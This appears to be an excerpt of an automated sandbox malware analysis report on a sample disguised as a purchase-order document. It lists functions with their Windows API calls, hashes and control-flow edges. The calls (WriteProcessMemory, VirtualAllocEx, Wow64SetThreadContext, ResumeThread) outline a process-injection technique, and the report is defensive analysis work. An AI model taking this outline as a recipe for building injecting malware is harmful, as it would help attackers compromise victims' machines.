                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Create
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2289755597-0
                                                                                                                                                                                                            • Opcode ID: 0315b63d0f1c89400a6b21e9450e01ecbd6e83071bb371490542e18cc76dde27
                                                                                                                                                                                                            • Instruction ID: 42ea133755e9697bf31eae2dd76ad07c6fcdaa5bc15802e71b6d3e94470dab72
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0315b63d0f1c89400a6b21e9450e01ecbd6e83071bb371490542e18cc76dde27
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 0541F270D1072DCFDB24DFAAC884B8EBBB5BF48304F60816AD508AB251DB756946CF90
                                                                                                                                                                                                            Function 072C3790 Relevance: 1.6, APIs: 1, Instructions: 73injectionCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 804 72c3790-72c3794 805 72c37db-72c37e6 804->805 806 72c3796-72c37d9 804->806 809 72c37e8-72c37f4 805->809 810 72c37f6-72c3835 WriteProcessMemory 805->810 806->805 809->810 812 72c383e-72c386e 810->812 813 72c3837-72c383d 810->813 813->812
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 072C3828
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MemoryProcessWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3559483778-0
                                                                                                                                                                                                            • Opcode ID: b98fe6ba1fd16f2ea4d39cba06fdbba47ab1292114629e422314696ea250a445
                                                                                                                                                                                                            • Instruction ID: 4503746afc523a89ced6181430c48ca480b4b3bfa516b7abfe106f6590e9f671
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b98fe6ba1fd16f2ea4d39cba06fdbba47ab1292114629e422314696ea250a445
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 933159B1D0031A9FCB10CFA9C881BDEBBF1FF48310F108929E918A7241D7789945CBA5
                                                                                                                                                                                                            Function 072C3798 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 817 72c3798-72c37e6 820 72c37e8-72c37f4 817->820 821 72c37f6-72c3835 WriteProcessMemory 817->821 820->821 823 72c383e-72c386e 821->823 824 72c3837-72c383d 821->824 824->823
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 072C3828
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MemoryProcessWrite
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3559483778-0
                                                                                                                                                                                                            • Opcode ID: cc329193e3696314b8fb925fc1c8b67dee83ccb73a608c615343f723cd1e9b8f
                                                                                                                                                                                                            • Instruction ID: c9a2b8a190c1ffe3f406e46001142cc41a057413c74aba01315d5051b9b67fc4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cc329193e3696314b8fb925fc1c8b67dee83ccb73a608c615343f723cd1e9b8f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 662144B1D003499FDB10CFAAC881BDEBBF5FF48310F10892AE918A7241C7799941CBA5
                                                                                                                                                                                                            Function 072C3881 Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 828 72c3881-72c3915 ReadProcessMemory 832 72c391e-72c394e 828->832 833 72c3917-72c391d 828->833 833->832
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 072C3908
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MemoryProcessRead
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1726664587-0
                                                                                                                                                                                                            • Opcode ID: e2e4db5895f1776c5fa7662d956474fcf15e02d0b12ac3a044fc1978fcd01873
                                                                                                                                                                                                            • Instruction ID: 904136998f17895b1fc29af02d3377ef03e655f011d4dd5e64a53c77144ad928
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e2e4db5895f1776c5fa7662d956474fcf15e02d0b12ac3a044fc1978fcd01873
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E82115B1C003599FDB10DFAAC881BDEBBB5FF48320F54842AE559A7241C7349541CBA5
                                                                                                                                                                                                            Function 012AB2F4 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,012AD8AE,?,?,?,?,?), ref: 012AD96F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: DuplicateHandle
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3793708945-0
                                                                                                                                                                                                            • Opcode ID: 8e1a3d655fbea9b22dc6409d4c37f5e70ffd437f68d4043d8e63f6a71f41e3a9
                                                                                                                                                                                                            • Instruction ID: 42a29219c592f26cb3836747992ae1a95f321121bae301909af951252ac8d539
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 8e1a3d655fbea9b22dc6409d4c37f5e70ffd437f68d4043d8e63f6a71f41e3a9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 6221F4B5D102099FDB10CF9AD484ADEFBF5EB48310F10841AE914A3210D374A950CFA4
                                                                                                                                                                                                            Function 072C31C2 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 072C3246
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ContextThreadWow64
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 983334009-0
                                                                                                                                                                                                            • Opcode ID: 0b0dffa0fec9504855a3d39af925728d6e41d708db7188acb0151a5881accd25
                                                                                                                                                                                                            • Instruction ID: 60b436af6009fb452e7e6e712ffbb252a2d03065a3eef5ce2fd13db8e4b4692e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0b0dffa0fec9504855a3d39af925728d6e41d708db7188acb0151a5881accd25
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 832166B1D003098FDB10DFAAC4817AEBBF4EF48220F10C42ED419A7241CB789945CFA5
                                                                                                                                                                                                            Function 012AD8E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,012AD8AE,?,?,?,?,?), ref: 012AD96F
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: DuplicateHandle
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 3793708945-0
                                                                                                                                                                                                            • Opcode ID: c0ba5857f1b5a3c088cb271c0f98d02e41922de267dc6f25353f2fc27feea6fb
                                                                                                                                                                                                            • Instruction ID: e61fbce6f80e81fffb10feb2d35ba885ce515c58bad24c3c83e4307bc97fb7e7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c0ba5857f1b5a3c088cb271c0f98d02e41922de267dc6f25353f2fc27feea6fb
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F42103B5D00309AFDB10CF9AD884ADEBBF5EB48320F14801AE914A3350D378A940CFA4
                                                                                                                                                                                                            Function 072C31C8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • Wow64SetThreadContext.KERNEL32(?,00000000), ref: 072C3246
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ContextThreadWow64
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 983334009-0
                                                                                                                                                                                                            • Opcode ID: 640c8710050451cdf9a2fba30fbf809628bc491c46bca66f8f3589461fd11c24
                                                                                                                                                                                                            • Instruction ID: 3c1b71af5c5af5f3bd8c4de59356f749edc683cdb69703a114f5380096a03b4d
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 640c8710050451cdf9a2fba30fbf809628bc491c46bca66f8f3589461fd11c24
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D22134B1D103098FDB10DFAAC485BAEBBF4EF88220F54C42ED519A7241CB789945CFA5
                                                                                                                                                                                                            Function 072C3888 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 072C3908
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MemoryProcessRead
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1726664587-0
                                                                                                                                                                                                            • Opcode ID: 4f7e939f44fe95bd5b882e695ac683925589845ba3b2f4384a9ecd0e476b2e18
                                                                                                                                                                                                            • Instruction ID: 5ec537ee1539b0382191a064be9acb3a207e4132c325bd714e4404de48e3cac1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 4f7e939f44fe95bd5b882e695ac683925589845ba3b2f4384a9ecd0e476b2e18
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 992105B1C003599FDB10DFAAC841BDEBBF5FF48310F50842AE919A7250C7799901CBA5
                                                                                                                                                                                                            Function 072C36D0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 072C3746
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AllocVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4275171209-0
                                                                                                                                                                                                            • Opcode ID: 661f73eed15c1ba0ecde81f95f7867e001da0c49d97819a63e8b705389a5fdb4
                                                                                                                                                                                                            • Instruction ID: f0a8297de37380495c45a35102dae49ba4379b7581aeff1bb47495d29d36d49c
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 661f73eed15c1ba0ecde81f95f7867e001da0c49d97819a63e8b705389a5fdb4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: C7214A75C003099FDB20DFAAC845BDEBBF5EF48320F108819E515A7250C775A505CFA5
                                                                                                                                                                                                            Function 072C36D8 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 072C3746
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AllocVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4275171209-0
                                                                                                                                                                                                            • Opcode ID: c2e7e0c0260d58078c11bb9fb22efdcd050be1cd501565c507cca8fbc11cd943
                                                                                                                                                                                                            • Instruction ID: e96d5a710ee19f4958e9d53d28db2345131f9b2b3c42eaba80cb31b51a9bb0ed
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c2e7e0c0260d58078c11bb9fb22efdcd050be1cd501565c507cca8fbc11cd943
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE1156B1C003099FDB20DFAAC845BDEBBF5EB48320F108819E515A7250CB75A900CFA5
                                                                                                                                                                                                            Function 072C3112 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ResumeThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 947044025-0
                                                                                                                                                                                                            • Opcode ID: df28716fba00f2be593198622befdbf9e0de89ffa5f0d2e73778fec01c2f6bc3
                                                                                                                                                                                                            • Instruction ID: a29fb6e1ecfeee0101fe16f3b9bd73dd06c2d74881ed5ffa2b061c9357af45a3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: df28716fba00f2be593198622befdbf9e0de89ffa5f0d2e73778fec01c2f6bc3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7C1134B1D003498FDB20DFAAC4457DEBBF4AB88320F24881ED819A7240CB75A941CBA5
                                                                                                                                                                                                            Function 072C3118 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ResumeThread
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 947044025-0
                                                                                                                                                                                                            • Opcode ID: eb43e37328a2075acbd15be14d652a2333670faad0e32e755420857022ddee1b
                                                                                                                                                                                                            • Instruction ID: bc108e79c3bd7613d2d36e03ba8d6a848ed0b67b25e9a05eb7d4aabda99a0686
                                                                                                                                                                                                            • Opcode Fuzzy Hash: eb43e37328a2075acbd15be14d652a2333670faad0e32e755420857022ddee1b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 201125B1D003498FDB20DFAAC84579EFBF5EB88320F24881DD519A7240CA79A941CBA5
                                                                                                                                                                                                            Function 072C69B8 Relevance: 1.5, APIs: 1, Instructions: 48windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PostMessageW.USER32(?,?,?,?), ref: 072C6A1D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MessagePost
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 410705778-0
                                                                                                                                                                                                            • Opcode ID: ac4fa15fcf08144ed43631983dbfab999a60f8c7fb1b902375479eda34dc79b1
                                                                                                                                                                                                            • Instruction ID: 344a1d34b141dc8e3fd84ac6c994caefcb0ea2f0f78312a1b3c6116e48752fe7
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ac4fa15fcf08144ed43631983dbfab999a60f8c7fb1b902375479eda34dc79b1
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4711E6B58003499FDB10DF9AC885BDEFBF8FB58310F248419E514A7200C375A544CFA5
                                                                                                                                                                                                            Function 012AB5F8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 012AB65E
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1260106394.00000000012A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012A0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_12a0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleModule
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4139908857-0
                                                                                                                                                                                                            • Opcode ID: 65e6c739c70f8c8b16829322d3362a1a68b6dfe455ad1d7129796875ab9e610a
                                                                                                                                                                                                            • Instruction ID: dd7345639b04faefebd123d0a65d8bb3c650088133188bff4a57e5ff2cebd6f4
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 65e6c739c70f8c8b16829322d3362a1a68b6dfe455ad1d7129796875ab9e610a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 381110B5C003498FDB20CF9AC444BDEFBF4EB88720F10842AD529A7210C379A545CFA5
                                                                                                                                                                                                            Function 072C69C0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PostMessageW.USER32(?,?,?,?), ref: 072C6A1D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1275710565.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_72c0000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: MessagePost
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 410705778-0
                                                                                                                                                                                                            • Opcode ID: ad1243a1f5509adfcc789742ac9c0b0cf3aa4741c8cea8aa29e28adf36d4e498
                                                                                                                                                                                                            • Instruction ID: ba5f0fd8d1332c9c28e1eeaca0c10b65133acb55ab8ddf551e98efa2cc351457
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ad1243a1f5509adfcc789742ac9c0b0cf3aa4741c8cea8aa29e28adf36d4e498
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 7A11D0B58003499FDB20DF9AD885BDEFBF8EB58320F24841AE519A7250C375A944CFA5
                                                                                                                                                                                                            Function 089123D0 Relevance: 1.4, Strings: 1, Instructions: 133COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: M
                                                                                                                                                                                                            • API String ID: 0-3664761504
                                                                                                                                                                                                            • Opcode ID: b1f72f0fece26ca565c2434d397ea389ffeafcfca84372d7ce4a27ea515a5bb2
                                                                                                                                                                                                            • Instruction ID: 7d08035ed9138b0f89a86453fd9d7e1de046e8ed5e977b0ec9ed03e0aec6c639
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b1f72f0fece26ca565c2434d397ea389ffeafcfca84372d7ce4a27ea515a5bb2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1641D571F0C22E9FDF05FFE4C9986E97BB1AB45306F60086AD842E72D5F63489118A91
                                                                                                                                                                                                            Function 0891782E Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .
                                                                                                                                                                                                            • API String ID: 0-3974621797
                                                                                                                                                                                                            • Opcode ID: 5dcc749dc1165fd7f90c41ba9b7558768b6e50763bb88b97be9688b86d2e5a1a
                                                                                                                                                                                                            • Instruction ID: 936baed8be1a31fdb99bd5101ed59ccc316a50f6e963d613431584769a7249dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 5dcc749dc1165fd7f90c41ba9b7558768b6e50763bb88b97be9688b86d2e5a1a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B05145B4E092499FCB05DFA8D8905EDBFF2EF89300F1484AAD815E73A1DB745905CB61
                                                                                                                                                                                                            Function 08919B0F Relevance: 1.4, Strings: 1, Instructions: 126COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: O
                                                                                                                                                                                                            • API String ID: 0-878818188
                                                                                                                                                                                                            • Opcode ID: a0182a106b06463159e57f5edc36952ddaeb9c3ae092012a12dd070262256559
                                                                                                                                                                                                            • Instruction ID: b87d6d82e1726ea25927f9ab93197285bab8a522e653563067fdf5a5f822bae3
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a0182a106b06463159e57f5edc36952ddaeb9c3ae092012a12dd070262256559
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4F410674E4820CDFDB04EFA8D491AADBBF5FB89315F50846AE806A7350C7359D01CB50
                                                                                                                                                                                                            Function 0891DE68 Relevance: 1.4, Strings: 1, Instructions: 118COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: r
                                                                                                                                                                                                            • API String ID: 0-1812594589
                                                                                                                                                                                                            • Opcode ID: df045ff8e4d93ddb59285ce698cb323d082823d68cc39c6fc4764e6d70c615e0
                                                                                                                                                                                                            • Instruction ID: 72af441d4030f33135c5acfd566015cf8838a907a884fda9472b8798cc76cff1
                                                                                                                                                                                                            • Opcode Fuzzy Hash: df045ff8e4d93ddb59285ce698cb323d082823d68cc39c6fc4764e6d70c615e0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 09410674E19208DFCB04EFA9C5449EDBBBABB8D302B10D469E81AA7351C735A945CF50
                                                                                                                                                                                                            Function 08917868 Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: .
                                                                                                                                                                                                            • API String ID: 0-3974621797
                                                                                                                                                                                                            • Opcode ID: 296bd4ced74cb15800d2d2298f7fcab3157f94f655b412cf5854f2a508a6cd9e
                                                                                                                                                                                                            • Instruction ID: aa2c4c77a1be098ecbf1a54318e081c4e9dd42d755f1bd2d86749335b1b37efc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 296bd4ced74cb15800d2d2298f7fcab3157f94f655b412cf5854f2a508a6cd9e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 134181B4E05219EFCB04DFA9D8859EEBBF2FB88311F10842AE815A7354DB755901CF50
                                                                                                                                                                                                            Function 0891C646 Relevance: 1.3, Strings: 1, Instructions: 89COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000000.00000002.1276901105.0000000008910000.00000040.00000800.00020000.00000000.sdmp, Offset: 08910000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_0_2_8910000_Request For PO-230102.jbxd
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID:
                                                                                                                                                                                                            • String ID: Teq
                                                                                                                                                                                                            • API String ID: 0-1098410595
                                                                                                                                                                                                            • Opcode ID: 7283eb913dd88b3be59dfa349c933e78f26d3ed30000548015b848376c38dd34
                                                                                                                                                                                                            • Instruction ID: 75005350df1fc08e53192341ffcbf1150014d95c119556794b905796f732cd22
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7283eb913dd88b3be59dfa349c933e78f26d3ed30000548015b848376c38dd34
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4D31C274E49208CFCF04DFA9D884AEDBBB6BF89315F149029E909AB265C771A945CF40
                                                                                                                                                                                                            Function 0891C62F Relevance: 1.3, Strings: 1, Instructions: 85COMMON
